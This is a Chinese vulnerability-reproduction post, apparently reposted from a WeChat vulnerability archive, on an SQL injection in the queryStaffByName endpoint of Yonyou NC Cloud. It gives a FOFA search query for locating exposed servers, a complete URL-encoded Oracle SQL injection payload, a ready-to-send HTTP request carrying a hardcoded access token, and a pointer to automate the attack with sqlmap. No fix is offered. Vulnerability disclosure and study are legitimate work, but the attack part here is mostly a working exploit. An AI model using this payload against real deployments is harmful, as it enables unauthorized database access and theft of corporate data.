1. 用友NC Cloud 简介
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用友网络是全球领先的企业与公共组织软件、云服务、金融服务提供商。提供营销、制造、财务、人力等产品与服务,帮助客户实现发展目标,进而推动商业和社会进步。
2.漏洞描述
NC Cloud是用友推出的大型企业数字化平台。 用友NC Cloud queryStaffByName接口存在SQL注入漏洞,攻击者可利用该漏洞获取数据库控制权。
CVE编号:
CNNVD编号:
CNVD编号:
3.影响版本
用友NC Cloud
4.fofa查询语句
app="用友-NC-Cloud"
5.漏洞复现
漏洞链接:http://xxx.xx.xx.xx/ncchr/pm/staff/queryStaffByName?name=1%27+AND+7216%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%287216%3D7216%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29--+hzDZ
漏洞数据包:
GET /ncchr/pm/staff/queryStaffByName?name=1%27+AND+7216%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%287216%3D7216%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29--+hzDZ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent:Mozilla/5.0(WindowsNT6.2)AppleWebKit/532.1(KHTML,likeGecko)Chrome/41.0.887.0Safari/532.1
Accept: text/html,image/gif,image/jpeg,*;q=.2,*/*;q=.2
Connection: Keep-Alive
Accesstokenncc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
可以跑sqlmap
7.整改意见
厂商尚未提供漏洞修复方案,请关注厂商主页更新: https://www.yonyou.com/
原文始发于微信公众号(南风漏洞复现文库):用友NC Cloud queryStaffByName接口存在SQL注入漏洞 附POC
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